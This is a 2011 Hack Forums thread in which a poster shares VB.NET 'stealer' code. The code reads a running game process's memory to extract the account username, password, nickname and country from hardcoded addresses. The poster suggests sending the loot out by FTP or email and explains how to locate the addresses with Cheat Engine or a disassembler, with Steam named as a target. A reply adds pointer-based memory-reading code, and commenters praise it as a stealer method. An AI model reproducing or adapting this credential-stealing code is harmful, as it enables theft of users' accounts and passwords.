+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [Stealer] Another Method [ProccesRead] (/showthread.php?tid=948798)
[Stealer] Another Method [ProccesRead] - The-One - Jan 3, 2011
Hey,
So, I got this code which reads memory of an address, I tried a few things and I made my new stealer.
This function whas ORIGNIALY made by someone I don't know, but I did remember how it worked so I just rewrote it, still all credits to him.
Code
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpBaseAddress As Int32, ByRef lpBuffer As Int32, ByVal nSize As Int32, ByVal lpNumberOfBytesWritten As Int32) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As UInteger, ByVal bInheritHandle As Integer, ByVal dwProcessId As UInteger) As IntPtr
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As IntPtr) As Boolean
Function Read(ByVal Client As Process, ByVal Address As Int32) As String
Try
Dim i As Int32 = 0, j As Int32 = 0, t As IntPtr = OpenProcess(1080, CInt(False), CUInt(Client.Id)), s As String = ""
Do
ReadProcessMemory(t, Address + j, i, 1, 0)
If i <> 0 Then s = s & Chr(i)
j += 1
Loop Until i = 0
CloseHandle(t)
Return s
Catch
Return Nothing
End Try
End FunctionOkey, we will use this to read something out of a PROCESS.
Code
Dim ACCOUNT As String = ""
For Each p As Process In Process.GetProcessesByName("MyProcess")
ACCOUNT = "Username: " & Read(p, game_account) & _
vbCrLf & "Password: " & Read(p, game_pass) & _
vbCrLf & "Nickname: " & Read(p, game_nickname) & _
vbCrLf & "Country: " & Read(p, game_country)
MsgBox(ACCOUNT)
NextVery easy, and clear. I whas using this to test, thats why I call MSGBox, you can let it like normally upload it to a FTP, make it send a mail or whatever you want.
The addresses:
Code
Dim game_server As String = &HC41938
Dim game_account As String = &HAEAA00
Dim game_nickname As String = &HAEAC40
Dim game_pass As String = &HAEAC00
Dim game_country As String = &HC5FAF4Using steam:
Spoiler (Click to View)
Its easy to find them, just use Cheat Engine, hook it up to the process you want to steal, log in, search for you password/username, find a static(green) pointer. Note that '&H' means that we tell VB we are using a address which is (&)Hex. These where found using a disassembler (IDA pro/Olly dbg) but you need to know Assembly for that so if you don't know that wonderful low-level language you'd better stick with Cheat Engine.
Example of a static address, (GREEN = static(Address will only change when program updates), BLACK = dynamic(Address will change everytime you restart the program or function))
[img]http://www.plaatjesupload.nl/bekijk/2011/01/03/1294071481-830.png[/img]
This might not work for some process, for things like chrome, IE, firefox you can better use other methods, but for other things like games, or unstored/saved passwords.
Enjoy.
* - fredde_jason - Jan 3, 2011
Hehe, I think I know what game this is made for๐ But you could tell me :)
* - The-One - Jan 3, 2011
(Jan 3, 2011 01:22 PM)fredde_jason Wrote: Hehe, I think I know what game this is made for๐ But you could tell me :)
Well, post and miss ๐
* - The-One - Jan 3, 2011
(Jan 3, 2011 01:24 PM)fredde_jason Wrote: Tibia!
totototo short and to short again
And he misses. Nope. It isn't browser game.
* - stefsot - Jan 3, 2011
Very nice ;). In my memory-editors (simple game hacking :P) I use also a fucntion that supports reading dynamic adresses.
Code
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal bytes As Integer)
Dim read_value As Integer = Nothing
Dim hWnd As IntPtr, pHandle As IntPtr
Dim processID As Integer
Dim RBuff As Long
Dim fullAddress As Long
Dim windowname As String
Dim proc As Process() = Process.GetProcessesByName("your process")
windowname = proc(0).MainWindowTitle
hWnd = FindWindow(vbNullString, windowname)
If Not (hWnd = 0) Then
GetWindowThreadProcessId(hWnd, processID)
pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
If Not (pHandle = 0) Then
ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
fullAddress = RBuff + offset1
ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
fullAddress = RBuff + offset2
End If
CloseHandle(pHandle)
End If
ReadProcessMemory(proc(0).Handle.ToInt32, fullAddress, read_value, bytes, 0)
Return read_value
End Function*note that you can add as many offsets as you need.
* - The-One - Jan 3, 2011
(Jan 3, 2011 01:33 PM)stefsot Wrote: Very nice ;). In my memory-editors (simple game hacking :P) I use also a fucntion that supports reading dynamic adresses.
CodePublic Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal bytes As Integer)
Dim read_value As Integer = Nothing
Dim hWnd As IntPtr, pHandle As IntPtr
Dim processID As Integer
Dim RBuff As Long
Dim fullAddress As Long
Dim windowname As String
Dim proc As Process() = Process.GetProcessesByName("your process")
windowname = proc(0).MainWindowTitle
hWnd = FindWindow(vbNullString, windowname)
If Not (hWnd = 0) Then
GetWindowThreadProcessId(hWnd, processID)
pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
If Not (pHandle = 0) Then
ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
fullAddress = RBuff + offset1
ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
fullAddress = RBuff + offset2
End If
CloseHandle(pHandle)
End If
ReadProcessMemory(proc(0).Handle.ToInt32, fullAddress, read_value, bytes, 0)
Return read_value
End Function
*note that you can add as many offsets as you need.
Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P)
* - Symbiotic - Jan 3, 2011
May I guess? It is for League of Legends.
OT:
Nice contribution, sure it will help a lot of people.
* - stefsot - Jan 3, 2011
(Jan 3, 2011 01:39 PM)The-One Wrote: Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P)
No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are!
* - The-One - Jan 3, 2011
(Jan 3, 2011 01:56 PM)stefsot Wrote: No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are!
But then you can use the base_adr of the pointer with the offset, then its already static.
(Jan 3, 2011 01:45 PM)Symbiotic Wrote: May I guess? It is for League of Legends.
OT:
Nice contribution, sure it will help a lot of people.
Nope. xD Thanks. ๐ค
* - spike2147 - Jan 3, 2011
Hehe i know it. Not gonna say because everyone's gonna use itxD
Good work. Keep it up.
Sorry for what happened on msn 3-01:P
* - KingCobraXD - Jan 3, 2011
WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)
* - The-One - Jan 4, 2011
(Jan 3, 2011 04:37 PM)KingCobraXD Wrote: WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)
Yea, maybe who knows :)
Spoiler (Click to View)
(Jan 3, 2011 02:45 PM)spike2147 Wrote: Hehe i know it. Not gonna say because everyone's gonna use itxD
Good work. Keep it up.
Sorry for what happened on msn 3-01:P
Haha, yea np man. Happens all the time.
* - Modesty - Jan 4, 2011
(Jan 3, 2011 04:37 PM)KingCobraXD Wrote: WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)
Uh I never created a steam stealer xD I think you've got the wrong guy ;)
* - Kลtei - Jan 4, 2011
WoW
Maplestory
Mabinogi
Rakion
FlyFF
Combat Arms
Counter Strike
* - The-One - Jan 4, 2011
(Jan 4, 2011 10:03 AM)[ULLF] Xypher Wrote: WoW
Maplestory
Mabinogi
Rakion
FlyFF
Combat Arms
Counter Strike
No
No
No
No
No
No
No
Lol :P ๐